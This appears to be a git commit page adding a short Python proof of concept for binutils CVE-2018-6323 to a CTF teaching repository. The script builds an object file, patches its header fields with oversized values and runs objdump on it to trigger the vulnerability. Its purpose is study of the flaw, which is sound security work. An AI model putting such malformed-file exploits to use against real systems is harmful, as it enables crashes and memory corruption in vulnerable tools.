mirror of
https://github.com/nganhkhoa/CTF-All-In-One.git
synced 2025-06-24 04:05:03 +07:00
add 7.1.7
This commit is contained in:
17
src/exploit/7.1.7_binutils_2018-6323/poc.py
Normal file
17
src/exploit/7.1.7_binutils_2018-6323/poc.py
Normal file
@ -0,0 +1,17 @@
|
||||
import os
|
||||
|
||||
hello = "#include<stdio.h>\nint main(){printf(\"HelloWorld!\\n\"); return 0;}"
|
||||
f = open("helloWorld.c", 'w')
|
||||
f.write(hello)
|
||||
f.close()
|
||||
|
||||
os.system("gcc -c helloWorld.c -o test")
|
||||
|
||||
f = open("test", 'rb+')
|
||||
f.read(0x2c)
|
||||
f.write("\xff\xff") # 65535
|
||||
f.read(0x244-0x2c-2)
|
||||
f.write("\x00\x00\x00\x20") # 536870912
|
||||
f.close()
|
||||
|
||||
os.system("objdump -x test")
|
Reference in New Issue
Block a user